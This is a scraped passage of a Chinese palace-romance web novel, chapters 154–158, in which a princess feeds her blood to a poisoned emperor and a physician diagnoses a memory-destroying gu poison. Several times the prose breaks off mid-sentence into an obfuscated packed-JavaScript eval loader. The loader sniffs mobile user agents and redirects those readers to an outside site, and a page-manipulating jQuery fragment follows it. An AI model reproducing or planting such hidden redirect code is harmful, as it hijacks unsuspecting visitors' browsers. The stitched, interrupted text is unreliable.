“欢凉。”安文夕怔怔的盯着她的眼睛一字一句道:“父皇他还活着,就是母后也有机会复活!” “什么?”欢凉惊讶的捂住了嘴巴。 “这件事究竟是怎么回事,恐怕就只有父皇和北宫喆知晓了。” “公主决定要和北宫喆在一起了么,晟世子那里怎么办?” “欢凉,我骗不了自己,我还爱着他,既然这样,我为什么不去争取呢?至于晟哥哥那里,我该做的不该做的都已经做了,他若是真的贪图皇位,那就靠他自己去夺吧!” 第154章 我想陪他 第一百五十四章我想陪他 “公主,你既然做了决定,欢凉支持公主。”欢凉淡笑道。 公主终于做了决定,她向来喜欢公主敢爱敢恨的性子,偏偏在北宫喆这件事情上优柔寡断了这么久。 既然现在皇上和皇后娘娘都还在,那么,公主和北宫喆之间的误会也该全部解开了吧。可是,如今那北宫喆……欢凉想到这里,又叹了口气。 安文夕再次取下披风,欢凉也没有拦她,搀着她出了大殿。 北宫喆所在的宫殿内红烛摇曳,灯影幢幢,一室寂静,宽广的宫殿内却寻不见半个人影。 本以为会撞见江向晚,此时安文夕心中一松,没有她,倒方便多了。 绕过屏风,北宫喆躺在床榻之上,脸色惨白,眉宇之间微微泛着黑紫,安文夕心中一沉,快步上前,一把抓住北宫喆的手,触手的冰凉令她紧蹙着黛眉。 指尖轻移,探到他的手腕之处,依旧没有半点脉象,安文夕轻垂眸色,拿过事先准备好的**与瓷碗,拉开衣袖,露出伤痕斑斑的手腕,她毫不迟疑的在刚刚痊愈的伤疤上再次划开。 “公主……”欢凉惊呼道。 眼前的女子连眉头也微皱一下,利索的拿起瓷碗接下她手腕处渗出的鲜血,在跳跃的烛光下,她娇小的身影更显孱弱。 “公主,差不多够了。”公主她将近两天没有进食,又在冰雪奇阵里折腾了那么久,如今取了这满满一碗鲜血,她的身子怎么能吃得消啊! 安文夕放下盛满了鲜血的瓷碗,任由欢凉将伤口包扎,然后扶起北宫喆,端起瓷碗,以口相渡。 欢凉立在她的身后,看向安文夕丝毫不顾及的行为,慢慢压下心底的惊骇。 一口一口的喂下去,大大的杏眸里尽是坚定,那小小的身影沁满了执着,欢凉最终还是不忍的别开脸去,半晌道:“公主,我去为你煎药。” 将满满的一碗鲜血全部喂尽,几乎用了半个时辰,待欢凉端着药汁过来时,安文夕刚刚放下了瓷碗,然后她又为北宫喆喂了点水。 “公主,这是安胎药,赶紧趁热喝了吧。” 安文夕的脸色比刚才又白了几分,接过了欢凉递来的药,一饮而尽,慢慢的苦涩压下了口腔内浓郁的血腥味。 看着安文夕握着北宫喆的手,一副想要守着他的样子,欢凉不禁开口道:“公主,已经喂完了血,不如先去休息下吧,你自个儿的身子还虚弱着呢。” “欢凉,我想陪着他。” 欢凉扫了眼宽大的床榻,抿了抿唇道:“不如公主去榻上吧,夜里凉。” “也好,你也回去睡吧。”安文夕翻身上榻。 “欢凉无碍,就在外间守着公主。” 北宫喆的手依然冰凉,好像怎么也捂不热一般,安文夕慢慢的揉丨搓起来,然后拉着他的手放在她的小腹之上,在他耳边轻声道:“九哥哥,你知道么,咱们有孩子了,你要做父皇了,赶紧醒来好不好?” “九哥哥,你醒来,我们重新开始好不好?” “不要抛下夕儿一个人……” 她的指尖划过北宫喆苍白的脸颊,一一流连过他好看的眼睛,高挺的鼻梁,最后落在他的薄唇上,忍不住轻轻吻了吻。 不知过了多久,感觉自己握着的手微微一颤,安文夕蓦地一惊,伸手探到北宫喆的鼻翼之下,感受到那若有若无的呼吸,她眼眶一涩,咬着下唇忍下眼底的酸楚。慢慢,嘴角不觉间爬上了一抹浅笑。 “欢凉,欢凉,快去叫月公子,北宫喆他,他有呼吸了!” “好,欢凉这就去!”欢凉闻言立即惊坐起来,身形一闪,转瞬奔向了月清绝的房间。 月清绝为陌姑姑诊断以后,已经到了后半夜,他拖着疲倦的身子来到他所住的厢房,连衣服也未脱,直接一头倒在了床上,他连着为北宫喆他们三人问诊,实在是累得连眼皮也不想抬了。 没过多久,一道黑影悄无声音的潜进了月清绝的房间,飞快的在他的药箱里翻腾,待翻到那株晶莹剔透的七瓣小花时,女子红唇一勾,眸中划过一抹阴狠。 就让安文夕和她肚子里的孽种全都见鬼去吧! 她直接往怀中一塞,看了眼正在熟睡中的月清绝一眼,身形一闪,顿时消失在了房中。 隐在黑暗中的月清绝缓缓睁开了眼睛,眉眼之间哪里还有刚才疲倦不堪的神色,看着江向晚逐渐隐于黑暗的身影,眸光深深,然后从怀中取出七味草来,端详了片刻,又重新将它收回袖中。 这七味草可是北宫喆拿命换的,他怎么敢如此大意? 刚才江向晚拿走的不过是一株雪上冰莲罢了,本来峰顶上的冰山雪莲和山麓上生长的就有不同,江向晚认不出来很正常。 不过,如今看她神出鬼没的情况,倒也用不着这雪上冰莲吊命了!竟然如此,他干脆多往青末山庄送些。 月清绝按了按太阳穴,略带倦意的闭上了眼睛,半晌,他撑着床起身,终究还是不放心北宫喆。 罢了,他就是个劳碌命,但愿北宫喆此吉人自有天相,这次也可以逢凶化吉! 他还未出门,只见欢凉风风火火的赶来过来,不由分说一把将他拉走。 “慢点慢点,小丫头,到底何事?”这么****糙糙可不是欢凉的行事风格,他差点以为是无双那丫头。 “月公子,北宫喆有救了!” “有救?” “公主给他喂了血,不久他就有呼吸声了!”欢凉眉宇之间是难以掩饰的兴奋。 “走,赶紧去瞧瞧。”月清绝立即背上了药箱。 安文夕已经收拾妥当,下了床榻,待听到月清绝急切地脚步,立即起身道:“月公子,你快来看看。” 月清绝扫了眼她没有半点血色的脸颊,愣了一瞬,然后给北宫喆把脉,然后喜极而泣,激动的语无伦次道:“我就说这小子不会这么容易死!” “他现在没事了么?” “死是死不了了,只是……”月清绝搭在北宫喆手腕上的指尖一颤,脸色顿时一变,“坏了!” “怎么了?” 月清绝抬眸对上安文夕的满目担忧,“他原本身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“月公子,麻烦你帮我一把,我送公主回房。” “还回什么房啊,他俩本就是两口子,就让她在这里睡吧,回头也省的本公子两头跑了。” 欢凉抿了抿唇,“那好吧。” “小丫头,你在这里守着吧,我再去看看陌姑姑。” “月公子,公主她……” “没事的,她长久未进食,又是取血又是喂血的,这是累得。天亮后,等她喝过药给她熬点小米粥。” 欢凉点点头,“我知道了,月公子。” 月清绝临走时捏了捏欢凉的粉颊道:“别整天愁眉苦脸的,一点都不可爱,都快成黄脸婆了。” 欢凉一惊,一把打掉他的手,咬牙道:“你才是黄脸婆。” 看着她又羞又恼,张牙舞爪的样子,月清绝呵呵一笑。 月清绝走后,欢凉双颊顿时红了个彻底,抬手压住心口,只觉得心跳得飞快。 第155章 中忘情蛊 第一百五十五章中忘情蛊 从北宫喆那里出来,天已经蒙蒙亮,月清绝这一夜几乎都没有合眼,他顶着黑眼圈来到陌姑姑所在的寝殿,看到睡在外间的月无双,不禁嘴角一抽。 这丫头的睡姿实在是让人咋舌,他特地吩咐让她在这里看顾陌姑姑的,结果这丫头自个儿倒睡得香甜。 月清绝绕过月无双,径自进了内室,陌姑姑此时正打坐在床上,微闭着双目,白发如银,桃花美目增添了几抹皱纹,仿佛一夕之间老了十岁。 陌姑姑听到月清绝的脚步声,慢慢睁开眼睛,“月公子。” “不想陌姑姑正在调息吐纳,倒是晚辈唐突了。” “月公子客气了,坐吧。” “晚辈此来是想为陌姑姑把把脉。” “月公子,想必你是刚从皇上那里来吧,他……他如今情况如何了?” “陌姑姑不必担心,他现在命算是保住了。” “算是?” “不知陌姑姑可否知道忘情蛊?” 陌姑姑闻言,顿时脸色大变,双眸内涌出一抹无法掩饰的恨意,咬牙道:“那可是南昭皇室里的东西!” “晚辈冒昧猜测,当年夏瑜君……” “不错。”陌姑姑眼中有抹痛色,世人皆知夏瑜君荒淫无道,残暴昏庸,其实他初上位之时却是一位励精图治的好皇帝,只因那崇德五年,南昭进献了一名极为妖艳的女子,一切都发生了改变,伫立了五丨百年之久的夏朝不可抑制的衰败了下去,最后落得**的下场! 月清绝仔细的观察着陌姑姑的反应,好像她并不知道那忘情蛊真正的毒性。 陌姑姑看了月清绝,沉声道:“玉公子,你可有办法解了那忘情蛊?” “晚辈不才,如今除了拿到解药之外,晚辈现在没有别的办法,不过,我一会就传书给我爹,您不用担心。” 陌姑姑微垂眼睑,掩去眼底的思绪,半晌道:“想来你已经猜到我的身份了吧。” 月清绝点点点头,将脉枕垫到陌姑姑手腕下面,“陌姑姑身体已无大碍,只是这内力所剩不过一成。” 陌姑姑淡然一笑,“如今我都是黄土埋了半截的人了,对武功内力早就看淡了。” 月清绝收了脉枕,“您的药我已经交代无双了。” “有劳月公子。” 月清绝脚步一顿,回头道:“陌姑姑打算何时去见他?” 陌姑姑掩去眼中的希冀,淡淡道:“等他醒了之后再说吧。”如果不是这件事的话,她一直都没有打算与他相认。 月清绝看着陌姑姑清淡的眸光,末了又补充了一句,“瑾淑妃有孕了。” 陌姑姑听闻,眼底飞快的闪过一抹淡淡的惊讶,然后缓缓垂下了眼眸,眼底并无多少喜色,她半晌道:“今晚你我的谈话还请月公子保密。” 月清绝略略沉思,顿时明白了她的意思,就是她不说,他也不会让这消息传回夏宫。 “陌姑姑放心,晚辈明白,您好好休息,我就不打搅了。” “月公子慢走。” 月清绝走后,陌姑姑颓唐的坐了下来,这忘情蛊…… 这么多年来,曹暮烟的手段还是没有变啊! 想到安文夕,她的心里又乱了几分,她不想让北宫喆和安文夕有所瓜葛,可是,如今她却怀上了孩子。罢,真是孽缘啊! 江向晚回到房间之后,换下了身上的夜行衣,雪嫣听到动静忙进来道:“小姐,你去哪了,奴婢煎好了药,却找不见您,药都温了三次了。” “我去找了下月公子,你再去将药温一下,待会和我一起去看皇上。” “是,可是小姐……” “可是什么?” “瑾淑妃已经去了,到现在还没有出来呢。” “去了多久了?” “有小半夜了吧。” 小半夜?估计她那身子吃不消吧! 江向晚冷嗤一声,对雪嫣斜挑了眼角,“你现在赶紧去温药。” “是,小姐。”雪嫣应了一声,实在想不懂小姐到底要做什么。 江向晚端着药汁来到了北宫喆所在的景泉宫,还未进门,青玄便现身拦在她的身前道:“江小姐,这么早你怎么来了?” “我来为皇上送药。” 青玄的目光掠过江向晚手上端着的药碗,扫过她眼底淡淡的乌青,淡淡道:“江小姐身子不好,怎么能做这些事情呢?” “我没事,喆现在怎么样了?”她眉眼之间含着担忧。 若是月清绝救不了他,那么,她江向晚来救,就算是翻遍整个九州,她也要将千年龙魄找到!实在不行,就算是和他一起成魔她也在所不惜! 想到这里,江向晚眼底闪过一抹决绝,端着托盘的指尖变得卡白。 “江小姐不必担心,月公子已经来过一趟了,他说皇上已经救过来了,再过不久就会醒了。” “真的么?”江向晚顿时松了口气,眼底的担忧敛尽,露出一抹笑意,“我就知道喆吉人自有天相。” 她上前一步道:“既然如此,药也熬好了,我进去看看喆。” “可是,江小姐……”青玄伸出手拦住了江向晚,瑾淑妃在里面呢,她要是再进去了,万一发生了冲突这该如何是好? “怎么,你要拦我?”江向晚语气里带了几分冷淡与傲慢,这青玄分明是在拖延她,压根就没打算让她进去。 “属下不敢。” “哼,我看你敢的很呢!” “江小姐,不如你将药交给属下吧,我看你眉宇之间带有疲倦,不如去休息一下。” 江向晚讥笑一声道:“耿直的青玄也学会了圆滑了么?” “江小姐……” “青大人,什么人在外面,都吵到皇上和娘娘了。”欢凉走了出来,略略皱了眉头。 “欢凉姑娘,江小姐为皇上煎了药。” “哦。”欢凉扫了眼黑漆漆的药汁道,“有劳江小姐了,只是现在皇上还没有醒来,喂不进药,江小姐请回吧。” 看着欢凉以主人姿态傲居于台阶之上,江向晚再次想起了济州一事,凤眸眯了眯,将手中的药递给雪嫣,上前一步,“昨晚我身子不适,没能守在这里,现在既然我来了,就不劳瑾淑妃了,毕竟经过冰雪奇阵,她的身子弱着呢。” 江向晚嘴边带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚君昱半躺在软榻上浅寐,听到动静,缓缓睁开了凤眸,“都打听到了哪些消息?” “瑾淑妃去了景泉宫……”说道这里,那人注意到楚君昱睫毛轻颤,不由得放低了声音。 “接着说。” “北宫喆现在已经脱离了危险,而且中了忘情蛊。” “忘情蛊?” “是,据月公子说那是南昭皇室里的东西,当年的夏瑜君也中过此蛊。” 楚君昱不屑的嗤嗤一笑,“那个女人尽是这些见不得人的手段。” “还有那个陌姑姑,她是北宫喆的生母。” 楚君昱微微点了点头,这个他那日在幽冥山顶就已经猜出来了。 “即日起,你留在朕身边,暂时代替夜影的职务,让他回宫去好好后反思反思。” 男子眸子里划过一抹惊讶,随即垂首道:“是,暗影绝不辜负皇上信任。” “行了,你下去吧,吩咐宫人进来,朕要洗漱。” 第156章 醉生梦死 第一百五十六章醉生梦死 直到日暮时分,安文夕都没有任何醒来的迹象,欢凉不禁有些担忧,怎么会昏迷了那么久。 “你别担心了,那闷骚月不都说了么,没事的。”袭匀在一旁安慰道。 如今,小师妹已经没什么大碍,北宫喆也已经脱离了危险,两个人之间的误会也解开了,他还有了一个小外甥,他想想都觉得生活太美好了,若是欢凉这丫头肯答应跟他在一起,那他就圆满了! “可是为什么公主还没有醒呢?” “这是因为小师妹太虚弱了,这样吧,我去给小师妹煎药,你找那个凶丫头来这里守着,然后去好好休息一下,你这都一天一宿没怎么合眼了,身子怎么能吃得消呢?” “我没事。” “还说没事,你看你的脸色都……” “哎,你看,你快看,北宫喆他手指头动了!”欢凉无意间瞥见了北宫喆微动的手指激动道。 北宫喆睫毛轻颤,微微握了握手掌,半晌缓缓睁开了眼睛。 袭匀惊喜道:“你等着,我这就去叫闷骚月。” 他说完一溜烟跑出了房间,直奔月清绝所在的房间,激动地拍着房门。 月清绝被这一阵突如其来的敲门声吵醒,睁开了惺忪的睡眼,直接抄起床上的枕头朝门上砸去,“**袭,你干什么呢,还让不让人睡了!” “闷骚月,别睡了,你这都睡一天了!我跟你说,北宫喆醒了!” “什么?醒了!”月清绝原本昏昏沉沉的脑子顿时变得清明,抓起衣服胡乱的往身上穿去,提起一旁的药箱出了房门。 景泉宫。 北宫喆的视线顺着他的左手而走,他和安文夕的手十指相扣,转眸看去,躺在他身侧的女子脸色苍白,薄唇有些干裂,他忍不住握紧了她纤细的手。 半晌,他尝试着起身,长久微动的身体有些僵硬不堪,欢凉立即拿起软枕塞到了他的身后,抿唇道:“你刚醒,身上自然没力气。” 北宫喆抬眸道:“她怎么了?” “公主身体太虚弱了,你不必担心。” 这时,殿外传来一阵急切地脚步声,只见月清绝火急火燎的掀开了纱幔,看到半坐着的北宫喆,兴奋道:“你小子命真硬,这样都死不了。” “月公子。”欢凉起身迎道。 “好了,这里有本公子呢,你们先去休息吧。”月清绝放下了药箱对欢凉道。 “臭丫头走吧。”袭匀扯了扯欢凉的衣角。 “记得一会将他的药煎好了送来。”月清绝回头嘱咐袭匀道。 “知道了。”袭匀无奈的摇了摇头,没办法他就是一劳碌命。 月清绝为北宫喆把了把脉道:“除了你身体内中的两种毒,还有胸前中的一掌外,一切正常,死不了。” 北宫喆点了点头,刚才他一醒来就发现身体内的变化,不禁有余毒只留在他的心肺,还多了一部分内力在他体内流窜。 “朕体内的内力是怎么回事?” “你都不想知道这里是哪里么?”正常人醒来不都是问现在在哪么。 “若是朕没有猜错的话,这里是郦城别宫吧。”冰雪奇阵需要帝王血引路,纵观九州,只怕只有楚君昱可能会救他,而幽冥山处于郦城一带,他们只能在郦城别宫。 月清绝眼底闪现惊赞,顿了顿道:“好吧,算我白问。至于你体内多余出来的内力,那是陌姑姑为了救你,将她自己的内力几乎全部输给了你。为了你,她一瞬白头,一夜老了十岁!” 北宫喆闻言,心中蓦地一滞,眸光微动,“她现在人呢?” “在厢房呢。” “打算何时相认?” “回头再说吧。”相认对她而言,也许并不是一件好事。 “既然你醒了,我立即为你排毒吧,那瘴气之毒一旦进入心肺,必须在你意识清醒时,采取金针刺穴将毒逼出。”月清绝说着摊开一排金针。 北宫喆扫了眼身侧的女子,将她的手轻轻放在了她的小腹上面。 月清绝的视线随着北宫喆的手落在了安文夕的小腹之上,他捏着金针的手轻轻一颤。 “北宫喆,我这里有两个消息,一个好消息,一个坏消息,你想先听哪一个?” “说说好消息。” “好消息就是你要做父皇了!” 北宫喆闻言,嘴角噙着的笑意一凝,瞬时他的眼底涌出巨大的喜悦来,眸光看向安文夕交叠着双手的位置。没想到唯一一次没有喝息子汤,她竟真的有孕了! 月清绝发誓这是第一次看到北宫喆脸上出现了这么大的情绪变动。 “息子魂殇的解药配了么?” “还没有来得及配,这两日为了你们两口子,本公子几乎都没有合过眼,哪有时间配药?” “赶紧配。”明明是虚弱的语气,却带着令人胆颤的威压。 月清绝撇了撇嘴,“又凶我!” “她在冰雪奇阵待了这么久,寒气入体……” “放心,她没事,孩子也没事,要不怎么说这孩子命大呢。” 北宫喆闻言松了口气,微微点头。 “对了,她有孕的事情,这里的人应该都知道了,我劝你提防着江向晚,她最近有些异常。” 北宫喆眸光深了几分,半晌道:“坏消息呢?” “坏消息就是你体内的另一种毒是忘情蛊!”月清绝眸光一沉,“想必你应该知道当年夏瑜君就是因此而……” 北宫喆轻垂眸光,脸上不起波澜,看不出情绪。 “喂,我说你怎么就这么淡定呢,这可是忘情蛊!” “这忘情蛊可是南昭皇室的三大秘蛊之一,在人体内的潜伏期极长,在蛊虫没有苏醒之前,根本就发现不了。而这蛊虫一旦苏醒,就会迅速的蚕食人的心智,中蛊之人必活不过三年!” 这时,谁都没有注意到一旁昏迷不醒的安文夕闻言睫毛轻颤。 半晌,他道:“这件事都有谁知道?” “陌姑姑和安文夕。” 北宫喆眸色一沉,月清绝立即道:“你放心吧,她们并不知道这忘情蛊真正的毒性。” “忘情蛊,又名醉生梦死,它会令人将亲近之人慢慢忘记,最后变成一句行尸走肉,日日纸醉金迷,待他记忆全部遗失之时,就是死亡之际 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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北宫喆淡淡点了点头,喂药的动作优雅娴熟,末了扯过帕子擦了擦安文夕嘴角的药汁。 “喆哥哥,你都不高兴么?你要当父皇了呀!” “无双,你不觉得你在这里有些吵么。” 月无双嘴角一抿,磨牙道:“喆哥哥,你太欺负人了,我再也不要给你熬药了,哼。”说着也转身出了内室。 太过分了,他刚一醒来就欺负她! 北宫喆凝视着怀里的小人,勾唇道:“怎么,还要装睡么?” 自从他喂药开始,他就发觉她已经醒了。 安文夕闻言,睫毛轻颤,缓缓睁开了眼睛,看了北宫喆一眼略略勾唇。 “何时醒的?” “月公子走的时候醒的。” “吵醒你了?” 安文夕微微摇了摇头,“可能是睡够了,就醒了。” “为何要装睡,想朕亲自给你喂药?” “算是吧。”安文夕含丨住北宫喆递来的汤匙,将里面黑漆漆的汤药一卷而尽。 第157章 魔性发作 第一百五十七章魔性发作 北宫喆小心翼翼地喂着药,安文夕静静地喝着,两个人都没有再说话,可是二人心中莫名的涌出一抹温馨,这种美好的感觉许久都不曾停驻在他们心扉了。 终于喂完了药,北宫喆放下药碗,将她轻揽入怀,轻柔的将她的发丝别入而后。 安文夕闻着他身上极淡的梨花清香,慢慢将头靠在他的胸膛,半晌,藕臂缓缓攀上他的健壮的后背。 两个人谁都没有说话,但二人心中同时有一股暖意悄悄蔓延。 夕阳如金,斜洒在二人肩头,岁月静好,惟愿时光就此驻留。 三日后,黄昏。 北宫喆体内的瘴气余毒已经全部清除,而他胸口所受的秋月那一掌,淤血积在胸肺之中,月清绝一连三日为他施针,倒也清的差不多了。 郦城别宫内种了大片的海棠,一簇簇娇嫩的花瓣压弯了枝条,火红如霞,浅粉娇妍,清风送来一阵清淡的花香,分外沁人心脾。 安文夕轻挽着北宫喆,漫步在海棠丛中,几日没有走出房间,竟有些不适外面的光线了。 “这花真美。” “夕儿若是喜欢,朕就将夏宫种满海棠,如何?” 安文夕嗔道:“你这昏君!” 她嘴角噙着浅笑,那笑仿佛是从心底一直爬上了眉梢,不掺杂任何虚假。她微微眯着眼睛,长而卷的睫毛随着她的浅笑而轻颤,在斑驳的光影下投下一排暗影。 北宫喆放在她腰间的手不觉间紧了几分,眸光越过她看向前方大片的海棠,浅浅道:“当年,楚文帝还没有做皇帝的时候,路经此处,遇到了楚君昱的母妃,也就是后来的宁妃,楚文帝一见倾心,为她在此处建了一处别宫,更是在宫内种满了她喜欢的海棠。” 他指着不远处已经破旧不堪的秋千道:“那是楚文帝亲手为宁妃做的秋千,每逢海棠花开之时,二人总会来此散步。” “可惜好景不长,楚文帝称帝后,后宫嫔妃越来越多,旧人总是换新人,美人在怀的楚文帝早就将宁妃抛到了脑后。没过几年,宁妃郁郁而终,后来楚文帝三次微服私访皆来了郦城别宫。之后,这里再也没有人来过,便废置了下来。不曾想,这里的海棠却开的越发的娇艳了。” “那宁妃也是个可怜人。”安文夕轻叹一声。 北宫喆随手折下一朵开得正艳的海棠别在安文夕的发间,轻声道:“真美。” “北宫喆……” “夕儿,叫朕九哥哥。” “对着你这张脸,我能想到的只有北宫喆。” 北宫喆闻言一滞,然后勾唇道:“那朕戴上以前的面具如何?” 安文夕立即摆摆手,“算了,那**不透气。” “呵呵……” 北宫喆一把捉住安文夕的手腕,看着上面一道道疤痕,微拧了眉头,一道是他亲手割下取血的,另两道皆是她为了救他而割伤的。新旧伤疤,肆意纵横,如一条条丑陋的蜈蚣爬在了上面。 安文夕立即收回了手,“没事的,不疼,都好了。” 北宫喆从袖兜出取出一个青色的小瓷瓶,温柔的为她上了药,然后将小瓷瓶塞到了她的手中。 “上次朕给你的药,你一定随手丢了,这次一定要记得上药。” 安文夕怔怔的看着手中的小瓷瓶,半晌,还是将它收进了袖兜之中。 一旁的草丛里露出了四个脑袋,都拿着树叶遮掩着,鬼鬼祟祟地朝那边看去。 “啧啧,真是羡煞旁人呐!”袭匀嘴角叼着根草兑了兑身侧的月无双。 “喆哥哥和夕姐姐这是苦尽甘来!” “你们说,现在小师妹怀有龙嗣,这次北宫喆怎么着也该让小师妹当个皇后了吧?” “难说。”月无双撇撇嘴,喆哥哥聘江向晚为后可是昭告天下的,怎么能说改就改呢? 欢凉静静地看着北宫喆和安文夕紧紧相拥,不觉间嘴角上扬,现在的公主很幸福,她便知足了。 月清绝坐在一旁,视线看向北宫喆和安文夕,眼神有些飘渺,他们只有三个月了,三个月后,即使他们的爱情再刻骨铭心,北宫喆便再也不记得世上还有个安文夕。 “闷骚月,北宫喆跟小师妹好不容易在一起了,你怎么还一副忧心忡忡的样子?” “北宫喆那小子都有媳妇儿了,本公子还光棍一根,能高兴地起来么?”月清绝的眸光有意无意的打量了眼欢凉。 “哥,欢凉不是无双的小嫂子么,你哪是光棍了?”无双话音刚落,忙避开了袭匀的爪子道,“你想干嘛?” “我告诉你凶丫头,再乱说话,信不信哥哥将你的舌头拔了!” “你敢威胁我,信不信回头我让小乖咬你!” “别吵别吵,重头戏来了!”月清绝声音中隐隐带了丝兴奋。 “哎呀,好羞羞!”月无双看了一眼,立即用手捂住了眼睛,可是指缝间的双目仍然死死的盯着前方。 海棠树下,一袭流云织锦雪袍的北宫喆一手揽着红衣飞扬的安文夕的纤腰,一手穿过她满头的青丝托住她的后脑勺,薄唇浅浅流连辗转在她的樱唇之上。 “好美!”袭匀不禁赞道。 这一幕,美得淋漓尽致,美得令人窒息。 不远处的凉亭里,楚君昱握着青瓷小盏的指尖微微发白,眸光落在那相拥的男女身上,再也移不开视线。 “茶凉了,添茶。” 暗影上前一步,提起茶壶道:“皇上,茶空了。”他看的出来,皇上是喜欢那个瑾淑妃的,既然看着心里难受,为什么还要看呢,他真是不明白皇上的心思。不过,他是不敢像夜影那样干涉皇上私事的。 楚君昱眼尾的余光瞥见了远处海棠花间的一闪而逝的一抹紫色纱衣,淡淡勾唇,“孤独失意的又岂是朕一人?” “走吧。”楚君昱看也未看桌上已经冷了的茶水,负手离去。 他身后的暗影立即跟上,楚君昱越走越远,地上的影子也越拉越长,他的背影别样落寞。 安文夕双手撑着北宫喆的胸膛道:“别,这里有人。” 趁着她说话之际,北宫喆直接探入她的唇瓣之内,掠夺她的美好,“怕什么,又不是做见不得人的事。” 难道这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511081|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是见得人的事么?难道**周围有无数双眼睛正在看着他们么! 北宫喆看着她又羞又怒的样子,忍不住在她的樱唇上啄了一口。 安文夕立即又后退了两步,和他拉开了距离,眼角的余光瞥向月清绝他们所在的方向,脸上不禁飞上了一抹红晕。待她的目光掠过海棠深处那一抹素白的衣摆,眸光微敛。 “你打算何时回大夏?” “等你身子好一些就动身。” “我不想回夏宫,我想去青末山庄。”安文夕抿了抿唇,既然她的父皇没死,她自然要先去见父皇。 “也好。”如今他也不想将她推到风口浪尖之处了。 “我母后她……” “至于那引魂丹朕会尽快取出来的,你回青末山庄的时候就带去吧。” 安文夕略略点头道:“北宫喆,你还没有跟我说,父皇没死,究竟是怎么回事?” “安国国破本就是朕和安国君的一场交易罢了,只不过中间出了些意外。” 安文夕眸光轻垂,这意外想必就是她了吧! 她还没有来得及再问,不远处传来一阵急切地脚步声,她和北宫喆皆抬眸看去。 雪嫣一路小跑过来,神情呆滞,满眼尽是惊恐,一副惊魂未定的样子,她顾不得满头大汗,扑通跪倒了北宫喆脚下,肩膀硕硕发抖,“奴婢参见皇上,瑾淑妃,皇上快去看看我家小姐吧,我家小姐……她……她好可怕……” “出了何事?” “奴婢……奴婢原本待在房间,小姐突然打开了房门,她双眼血红,脸上爬满了丑陋的花纹,还从袖子里拖出来长长的树藤来。而且,小姐还……还要喝奴婢的血!”雪嫣说着掀开衣领,露出了半截雪白的脖子,上面被咬破了一道血口,此时血迹斑斑,狼藉一片。 北宫喆看着那血印眸光一沉,“她现在在哪?” “青大人将小姐锁在了房间内。” 安文夕心中顿时明了,雪嫣口中所说的情况像极了她见到过的曹太后,她记得曹太**魔时,常会控制不了自己露出狰狞的一幕。看样子,那江向晚只怕是魔性发作了,只是,她想不明白的是她为何要选择入魔呢? “朕去看看。”北宫喆握了握安文夕的手。 “你,小心一点。”安文夕抿唇。 “朕让欢凉来陪你。”北宫喆看了她一眼,随即大步流星的走开,那雪嫣现在仍然双腿发软,踉跄的跟在北宫喆身后。 安文夕看着北宫喆离去的背影,眸光深深,双眸再次扫向海棠深处,那一抹素白的衣摆早已不见了踪影。 莲步轻移,停驻在月清绝四人藏身的草丛旁,淡淡道:“你们在这里做什么呢?” “我们……我们来……” “看都看完了,还不走么?” “我们没看,小师妹,师兄是那种窥探别人隐私的人么?”袭匀干笑了两声。 “北宫喆那小子做什么去了?”月清绝一把扔掉手中的叶子,他可记得雪嫣是江向晚身边的贴身丫头,再看眼前的女人,竟然丝毫不在意的样子,他真的怀疑这个女人正常么? 第158章 和你联手 第一百五十八章和你联手 “欢凉,走了。”安文夕看了欢凉一眼。 欢凉立即从草丛中走了出来,跟在安文夕身后道:“公主,要回房了么?” “不是,你随我来。” 月无双见安文夕走远,从草丛中起了身子,弹了弹身上的灰尘,撇撇嘴道:“我一猜准是那江向晚看到喆哥哥和夕姐姐和好,感觉自己没戏了,所以就出来捣乱了,整出一些见不得人的把戏把喆哥哥勾走!” “同意。”袭匀点了点头。 月无双和他击了一掌,这么长时间来,两人首次在一件事上达成了共识,彼此会心一笑。 月清绝无奈的看了二人一眼,从腰间抽出羽扇来,摇着扇子走远。 安文夕和北宫喆背驰而去,转身去了别院的西厢房,而西厢房相对主院倒稍有些冷清了。 原本长满杂草的院子里刚刚被人开辟出了一条小径,厚重的木栅栏已经残败不堪。 “公主,这是陌姑姑住的院子。” 安文夕点点头,“我去看看陌姑姑。” 推开重重的木栅栏,绕过青石小路,视线顿时变得开阔起来。 竹林前,陌姑姑白衣翩飞,白发如雪,银丝轻扬,落日余晖在她的发顶晕出一圈微黄的光圈,她听到脚步声,缓缓转过身来,似乎在这里等了她许久一般。 “陌姑姑。”安文夕微微颔首。 “你来了。”这一声分外沧桑。 “我来看看陌姑姑,自从那日未央宫一别,多日不见。” “陌姑姑这些日子来都待在西楚?”欢凉忍不住问道。 “想必陌姑姑是随着北宫喆来的西楚吧。” 陌姑姑眸光在欢凉脸上停住了一瞬,然后看了眼安文夕,淡淡勾唇,“你说的不错。” 